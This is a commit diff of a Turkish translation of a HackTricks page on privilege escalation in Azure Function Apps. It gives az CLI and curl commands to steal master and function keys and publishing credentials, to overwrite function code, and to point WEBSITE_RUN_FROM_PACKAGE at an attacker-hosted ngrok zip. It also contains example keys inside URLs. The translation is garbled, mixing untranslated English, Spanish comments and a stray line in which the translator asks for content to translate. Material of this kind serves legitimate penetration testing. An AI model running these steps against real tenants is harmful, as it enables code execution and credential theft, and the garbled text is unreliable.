mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Function Apps
|
## Function Apps
|
||||||
|
|
||||||
Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
|
Daha fazla bilgi için aşağıdaki sayfayı inceleyin:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-services/az-function-apps.md
|
../az-services/az-function-apps.md
|
||||||
@@ -12,26 +12,26 @@ Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
|
|||||||
|
|
||||||
### Bucket Read/Write
|
### Bucket Read/Write
|
||||||
|
|
||||||
Fonksiyon verilerini depolayan Storage Account içindeki konteynerleri okuma izinleri ile **farklı konteynerler** (özel veya önceden tanımlanmış isimlerle) bulmak mümkündür; bu konteynerler **fonksiyon tarafından yürütülen kodu** içerebilir.
|
Fonksiyon verilerini depolayan Storage Account içindeki container'ları okuma izinleriniz varsa, **farklı container'lar** (özel veya ön tanımlı isimlerle) bulabilirsiniz; bunlar **fonksiyon tarafından çalıştırılan kodu** içerebilir.
|
||||||
|
|
||||||
Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda, eğer üzerinde yazma izinleriniz varsa, fonksiyonu herhangi bir kodu yürütmesi için ayarlayabilir ve fonksiyona bağlı yönetilen kimliklere ayrıcalıkları yükseltebilirsiniz.
|
Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda ve üzerinde yazma izniniz varsa, fonksiyonun herhangi bir kodu çalıştırmasını sağlayabilir ve fonksiyona bağlı managed identities'in ayrıcalıklarını yükseltebilirsiniz.
|
||||||
|
|
||||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`)
|
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||||
|
|
||||||
Fonksiyonun kodu genellikle bir dosya paylaşımında saklanır. Yeterli erişim ile kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkündür; bu da fonksiyona bağlı yönetilen kimliklere ayrıcalıkları yükseltmeyi sağlar.
|
Fonksiyonun kodu genellikle bir file share içinde depolanır. Yeterli erişimle kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkün olup bu, Function'a bağlı managed identities'in ayrıcalıklarını yükseltmeye olanak tanır.
|
||||||
|
|
||||||
Bu dağıtım yöntemi genellikle **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ve **`WEBSITE_CONTENTSHARE`** ayarlarını yapılandırır; bunları alabilirsiniz.
|
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list \
|
az functionapp config appsettings list \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-group>
|
--resource-group <res-group>
|
||||||
```
|
```
|
||||||
Bu yapılandırmalar, Fonksiyonun koda erişmek için kullanabileceği **Storage Account Key**'ni içerecektir.
|
Bu konfigürasyonlar, Function'ın koda erişmek için kullanabileceği **Storage Account Key**'i içerecektir.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Dosya Paylaşımına bağlanmak ve **script'i değiştirmek** için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
|
> File Share'a bağlanmak ve çalışan **modify the script** üzerinde değişiklik yapma yetkisine sahip olunması durumunda Function içinde execute arbitrary code gerçekleştirmek ve escalate privileges mümkün olabilir.
|
||||||
|
|
||||||
Aşağıdaki örnek, dosya paylaşımına bağlanmak için macOS kullanmaktadır, ancak dosya paylaşımları hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol etmeniz önerilir:
|
Aşağıdaki örnek, file share'a bağlanmak için macOS kullanmaktadır; ancak file share'ler hakkında daha fazla bilgi için şu sayfayı da incelemeniz önerilir:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-services/az-file-shares.md
|
../az-services/az-file-shares.md
|
||||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
|||||||
```
|
```
|
||||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||||
|
|
||||||
Fonksiyon uygulamasının kullandığı Storage Account konteynerinin `function-releases` klasöründe **zip sürümlerini** bulmak da yaygındır, bu klasör genellikle **`function-releases`** olarak adlandırılır.
|
Ayrıca, function app'in kullandığı Storage Account konteynerindeki `function-releases` klasörü içinde **zip sürümlerini** bulmak da yaygındır; konteyner genellikle **`function-releases`** olarak adlandırılır.
|
||||||
|
|
||||||
Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` yapılandırmasını ayarlayacaktır:
|
Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` konfigürasyonunu şu yerde ayarlar:
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list \
|
az functionapp config appsettings list \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-group>
|
--resource-group <res-group>
|
||||||
```
|
```
|
||||||
Bu yapılandırma genellikle **Storage Account'tan kodu indirmek için bir SAS URL'si** içerecektir.
|
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **Zip içinde kodu içeren** blob konteynerine bağlanmak için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları artırmak mümkündür.
|
> Yeterli izinle, **contains the code in zip** içeren blob container'a bağlanılarak Function içinde arbitrary code çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
|
||||||
|
|
||||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||||
|
|
||||||
Önceki durumda olduğu gibi, dağıtım Github Actions aracılığıyla yapıldığında, **`github-actions-deploy`** adlı klasörü bulmak mümkündür; bu klasör, kodun bir zip'ini ve `WEBSITE_RUN_FROM_PACKAGE` ayarındaki zip için bir SAS URL'sini içerir.
|
Önceki durumda olduğu gibi, dağıtım Github Actions ile yapıldıysa Storage Account içinde kodun bir zip'ini içeren **`github-actions-deploy`** klasörünü ve zip için `WEBSITE_RUN_FROM_PACKAGE` ayarında bulunan bir SAS URL'sini bulmak mümkündür.
|
||||||
|
|
||||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`)
|
- **`scm-releases`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`)
|
||||||
|
|
||||||
Fonksiyon verilerini depolayan Storage Account içindeki konteynerleri okuma iznine sahip olduğunuzda, **`scm-releases`** konteynerini bulmak mümkündür. Orada, **Squashfs dosya sistemi dosya formatında** en son sürümü bulmak ve dolayısıyla fonksiyonun kodunu okumak mümkündür:
|
Function verilerini saklayan Storage Account içindeki container'ları okuma iznine sahip olunduğunda **`scm-releases`** container'ını bulmak mümkündür. Orada en son release'in **Squashfs filesystem file format** halinde olduğu bulunabilir ve dolayısıyla Function'ın kodunu okumak mümkün olur:
|
||||||
```bash
|
```bash
|
||||||
# List containers inside the storage account of the function app
|
# List containers inside the storage account of the function app
|
||||||
az storage container list \
|
az storage container list \
|
||||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
|||||||
mkdir /tmp/fs
|
mkdir /tmp/fs
|
||||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||||
```
|
```
|
||||||
Ayrıca, **`<app-name>`** klasörü içindeki **`azure-webjobs-secrets`** konteynerinde depolanan **master ve functions anahtarlarını** bulmak da mümkündür.
|
Ayrıca storage account içinde, container'daki **`azure-webjobs-secrets`** altında yer alan **`<app-name>`** klasöründeki JSON dosyalarında **master ve functions anahtarlarını** bulmak da mümkündür.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **Zip uzantılı bir dosyada** (aslında bir **`squashfs`** olan) kodu içeren blob konteynerine bağlanmak için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
|
> Kodun bir **zip extension file** içinde bulunduğu blob container'a bağlanmak için yeterli izin varsa (aslında bir **`squashfs`**), Function içinde keyfi kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
|
||||||
```bash
|
```bash
|
||||||
# Modify code inside the script in /tmp/fs adding your code
|
# Modify code inside the script in /tmp/fs adding your code
|
||||||
|
|
||||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/host/listkeys/action`
|
### `Microsoft.Web/sites/host/listkeys/action`
|
||||||
|
|
||||||
Bu izin, belirtilen işlevin işlev, ana ve sistem anahtarlarını listelemeye izin verir, ancak ana anahtarı listelemez:
|
Bu izin, belirtilen function için function, master ve system anahtarlarını (host olanı hariç) listelemeye izin verir:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||||
```
|
```
|
||||||
Ana anahtarı ile, bir URL'deki kaynak koduna erişmek de mümkündür:
|
master key ile ayrıca şu gibi bir URL'den kaynak kodunu almak da mümkündür:
|
||||||
```bash
|
```bash
|
||||||
# Get "script_href" from
|
# Get "script_href" from
|
||||||
az rest --method GET \
|
az rest --method GET \
|
||||||
@@ -130,70 +130,91 @@ az rest --method GET \
|
|||||||
|
|
||||||
# Access
|
# Access
|
||||||
curl "<script-href>?code=<master-key>"
|
curl "<script-href>?code=<master-key>"
|
||||||
## Python example:
|
# Python function app example
|
||||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||||
|
# JavaScript function app example
|
||||||
|
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||||
```
|
```
|
||||||
Ve **işlevde yürütülen kodu değiştirmek** için:
|
Ve fonksiyonda **çalıştırılan kodu değiştirmek** için:
|
||||||
```bash
|
```bash
|
||||||
# Set the code to set in the function in /tmp/function_app.py
|
# Set the code to set in the function in /tmp/function_app.py
|
||||||
## The following continues using the python example
|
## Python function app example
|
||||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||||
--data-binary @/tmp/function_app.py \
|
--data-binary @/tmp/function_app.py \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
-H "If-Match: *" \
|
-H "If-Match: *" \
|
||||||
-v
|
-v
|
||||||
|
|
||||||
|
# NodeJS function app example
|
||||||
|
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
|
||||||
|
--data-binary @/tmp/index.js \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-H "If-Match: *" \
|
||||||
|
-v
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||||
|
|
||||||
Bu izin, belirtilen işlevin anahtarını almak için kullanılır:
|
Bu izin, belirtilen fonksiyonun varsayılan anahtarını şu şekilde almayı sağlar:
|
||||||
```bash
|
```bash
|
||||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||||
```
|
```
|
||||||
|
Elde edilen varsayılan anahtarı kullanarak fonksiyonu çağırın:
|
||||||
|
```bash
|
||||||
|
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||||
|
```
|
||||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||||
|
|
||||||
Bu izin, belirtilen işlevin bir işlev anahtarını oluşturmasına/güncellemesine olanak tanır:
|
Bu izin, belirtilen function için bir function key oluşturma/güncelleme yapmaya izin verir:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/host/masterKey/write`
|
### `Microsoft.Web/sites/host/masterKey/write`
|
||||||
|
|
||||||
Bu izin, belirtilen işlev için bir anahtar oluşturmayı/güncellemeyi sağlar:
|
Bu izin, belirtilen function için bir master key oluşturmayı veya güncellemeyi sağlar:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Bu anahtar ile daha önce açıklandığı gibi kaynak koda erişebilir ve onu değiştirebilirsiniz!
|
> Bu anahtar ile daha önce açıklandığı gibi kaynak koda da erişebileceğinizi ve onu değiştirebileceğinizi unutmayın!
|
||||||
|
|
||||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||||
|
|
||||||
Bu izin, belirtilen işlev için bir sistem işlev anahtarı oluşturmayı/güncellemeyi sağlar:
|
Bu izin, belirtilen fonksiyon için bir system function key oluşturulmasına/güncellenmesine izin verir:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
|
Çeviriye başlamam için lütfen "Use the key:" sonrası gelen anahtarı veya çevirmemi istediğiniz src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md dosya içeriğini yapıştırın. İçerik olmadan işlem yapamam.
|
||||||
|
```bash
|
||||||
|
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||||
|
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||||
|
|
||||||
|
# Ejemplo: Acceso a Event Grid webhooks
|
||||||
|
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
|
||||||
|
```
|
||||||
### `Microsoft.Web/sites/config/list/action`
|
### `Microsoft.Web/sites/config/list/action`
|
||||||
|
|
||||||
Bu izin, bir fonksiyonun ayarlarını almayı sağlar. Bu yapılandırmaların içinde, **FULL izinlerle fonksiyonun blob depolamasına erişmek için bir hesap anahtarı içeren** **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** varsayılan değerlerini bulmak mümkün olabilir.
|
Bu izin bir function'ın ayarlarını almayı sağlar. Bu yapılandırmalar içinde varsayılan değerler **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** bulunabilir; bunlar function'ın blob storage'ına **TAM izinlerle erişmek için bir hesap anahtarı** içerir.
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
Ayrıca, bu izin **SCM kullanıcı adı ve şifresini** (eğer etkinse) almak için de kullanılabilir:
|
Ayrıca, bu izin (etkinse) **SCM username and password**'i şu komutla almayı sağlar:
|
||||||
```bash
|
```bash
|
||||||
az rest --method POST \
|
az rest --method POST \
|
||||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||||
|
|
||||||
Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeye ve **bu değerleri değiştirmeye** olanak tanır. Bu, bu ayarların, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için faydalıdır.
|
Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeyi ve ayrıca **bu değerleri değiştirmeyi** sağlar. Bu, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için kullanışlıdır.
|
||||||
|
|
||||||
Bu nedenle, bir web uygulaması içinde çalıştırılacak yeni kodu içeren bir URL zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür:
|
Bu nedenle, web uygulaması içinde çalıştırılacak yeni kodu içeren bir zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür:
|
||||||
|
|
||||||
- Mevcut yapılandırmayı alarak başlayın
|
- Önce mevcut config'i alın
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list \
|
az functionapp config appsettings list \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-name>
|
--resource-group <res-name>
|
||||||
```
|
```
|
||||||
- Çalıştırmak istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın.
|
- Fonksiyonun çalıştırmasını istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın.
|
||||||
```bash
|
```bash
|
||||||
# Write inside /tmp/web/function_app.py the code of the function
|
# Write inside /tmp/web/function_app.py the code of the function
|
||||||
cd /tmp/web/function_app.py
|
cd /tmp/web/function_app.py
|
||||||
@@ -203,9 +224,9 @@ python3 -m http.server
|
|||||||
# Serve it using ngrok for example
|
# Serve it using ngrok for example
|
||||||
ngrok http 8000
|
ngrok http 8000
|
||||||
```
|
```
|
||||||
- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna **`WEBSITE_RUN_FROM_PACKAGE`** konfigürasyonunu ekleyin, bu konfigürasyon kodu içeren **zip** dosyasının URL'sine işaret etmelidir.
|
- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna kodu içeren **zip**'e işaret eden URL'yi gösteren **`WEBSITE_RUN_FROM_PACKAGE`** ayarını ekleyin.
|
||||||
|
|
||||||
Aşağıda, **kendi ayarlarımın** bir örneği bulunmaktadır, değerleri **sizin için** değiştirmeniz gerekecek, sonunda `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin, bu benim uygulamayı barındırdığım yerdir.
|
Aşağıda benim **kendi ayarlarıma ait bir örnek (değerleri kendi ortamınıza göre değiştirmeniz gerekecek)** yer almaktadır; sondaki `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin — uygulamayı burada barındırıyordum.
|
||||||
```bash
|
```bash
|
||||||
# Modify the function
|
# Modify the function
|
||||||
az rest --method PUT \
|
az rest --method PUT \
|
||||||
@@ -215,7 +236,7 @@ az rest --method PUT \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||||
|
|
||||||
Bu izinle, bir uygulamanın kodunu **web konsolu aracılığıyla** (veya aşağıdaki API uç noktası aracılığıyla) değiştirmek **mümkündür**:
|
Bu izin ile web konsolu üzerinden (veya aşağıdaki API endpoint aracılığıyla) bir uygulamanın kodunu **değiştirmek mümkündür**:
|
||||||
```bash
|
```bash
|
||||||
# This is a python example, so we will be overwritting function_app.py
|
# This is a python example, so we will be overwritting function_app.py
|
||||||
# Store in /tmp/body the raw python code to put in the function
|
# Store in /tmp/body the raw python code to put in the function
|
||||||
@@ -223,10 +244,29 @@ az rest --method PUT \
|
|||||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||||
--body @/tmp/body
|
--body @/tmp/body
|
||||||
|
|
||||||
|
# Through the SCM URL (using Azure permissions or SCM creds)
|
||||||
|
az rest --method PUT \
|
||||||
|
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
|
||||||
|
--resource "https://management.azure.com/" \
|
||||||
|
--headers "If-Match=*" \
|
||||||
|
--body 'module.exports = async function (context, req) {
|
||||||
|
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
|
||||||
|
|
||||||
|
const name = (req.query.name || (req.body && req.body.name));
|
||||||
|
const responseMessage = name
|
||||||
|
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
|
||||||
|
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
|
||||||
|
|
||||||
|
context.res = {
|
||||||
|
// status: 200, /* Defaults to 200 */
|
||||||
|
body: responseMessage
|
||||||
|
};
|
||||||
|
}'
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||||
|
|
||||||
Bu izinler, temel olarak **temel kimlik doğrulama kimlik bilgilerini** içeren tüm yayın profillerini listelemeye olanak tanır:
|
Bu izin, temelde **basic auth credentials** içeren tüm publishing profiles'i listelemeye olanak tanır:
|
||||||
```bash
|
```bash
|
||||||
# Get creds
|
# Get creds
|
||||||
az functionapp deployment list-publishing-profiles \
|
az functionapp deployment list-publishing-profiles \
|
||||||
@@ -234,7 +274,7 @@ az functionapp deployment list-publishing-profiles \
|
|||||||
--resource-group <res-name> \
|
--resource-group <res-name> \
|
||||||
--output json
|
--output json
|
||||||
```
|
```
|
||||||
Başka bir seçenek, kendi kimlik bilgilerinizi ayarlamak ve bunları kullanmaktır:
|
Bir diğer seçenek kendi creds'inizi ayarlamak ve bunları kullanmak olacaktır:
|
||||||
```bash
|
```bash
|
||||||
az functionapp deployment user set \
|
az functionapp deployment user set \
|
||||||
--user-name DeployUser123456 g \
|
--user-name DeployUser123456 g \
|
||||||
@@ -242,7 +282,7 @@ az functionapp deployment user set \
|
|||||||
```
|
```
|
||||||
- Eğer **REDACTED** kimlik bilgileri
|
- Eğer **REDACTED** kimlik bilgileri
|
||||||
|
|
||||||
Eğer bu kimlik bilgilerini **REDACTED** olarak görüyorsanız, bunun nedeni **SCM temel kimlik doğrulama seçeneğini etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne ihtiyacınız var (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
Eğer bu kimlik bilgilerinin **REDACTED** olduğunu görüyorsanız, bunun nedeni **SCM basic authentication option'ı etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ihtiyacınız vardır.
|
||||||
```bash
|
```bash
|
||||||
# Enable basic authentication for SCM
|
# Enable basic authentication for SCM
|
||||||
az rest --method PUT \
|
az rest --method PUT \
|
||||||
@@ -264,7 +304,7 @@ az rest --method PUT \
|
|||||||
```
|
```
|
||||||
- **Method SCM**
|
- **Method SCM**
|
||||||
|
|
||||||
Sonra, **bu temel kimlik bilgileri ile fonksiyon uygulamanızın SCM URL'sine** erişebilir ve env değişkenlerinin değerlerini alabilirsiniz:
|
Ardından, bu **basic auth credentials to the SCM URL** ile function app'inizin SCM URL'sine erişebilir ve env variables değerlerini alabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
# Get settings values
|
# Get settings values
|
||||||
curl -u '<username>:<password>' \
|
curl -u '<username>:<password>' \
|
||||||
@@ -275,11 +315,11 @@ zip function_app.zip function_app.py # Your code in function_app.py
|
|||||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||||
```
|
```
|
||||||
_Not edin ki **SCM kullanıcı adı** genellikle "$" karakteri ile uygulama adının takip eden kısmıdır, yani: `$<app-name>`._
|
_Not: **SCM kullanıcı adı** genellikle "$" karakteri ile başlayıp uygulama adıyla devam eder, yani: `$<app-name>`._
|
||||||
|
|
||||||
Web sayfasına `https://<app-name>.scm.azurewebsites.net/BasicAuth` adresinden de erişebilirsiniz.
|
Bu web sayfasına ayrıca şu adresten de erişebilirsiniz: `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||||
|
|
||||||
Ayar değerleri, fonksiyon uygulamasının verilerini depolayan depolama hesabının **AccountKey**'sini içerir ve bu depolama hesabını kontrol etmeye olanak tanır.
|
Ayar değerleri, function app'in verilerini depolayan storage account'un **AccountKey**'ini içerir; bu da o storage account'u kontrol etmenize olanak tanır.
|
||||||
|
|
||||||
- **Yöntem FTP**
|
- **Yöntem FTP**
|
||||||
|
|
||||||
@@ -297,19 +337,19 @@ ls # List
|
|||||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||||
```
|
```
|
||||||
_Not edin ki **FTP kullanıcı adı** genellikle \<app-name>\\$\<app-name> formatındadır._
|
_Not: **FTP username** genellikle \<app-name>\\$\<app-name> formatındadır._
|
||||||
|
|
||||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||||
|
|
||||||
Bu izin, VFS aracılığıyla uygulamanın **kaynak kodunu okumaya** olanak tanır:
|
Bu izin, uygulamanın kaynak kodunu VFS aracılığıyla **okumaya** izin verir:
|
||||||
```bash
|
```bash
|
||||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/functions/token/action`
|
### `Microsoft.Web/sites/functions/token/action`
|
||||||
|
|
||||||
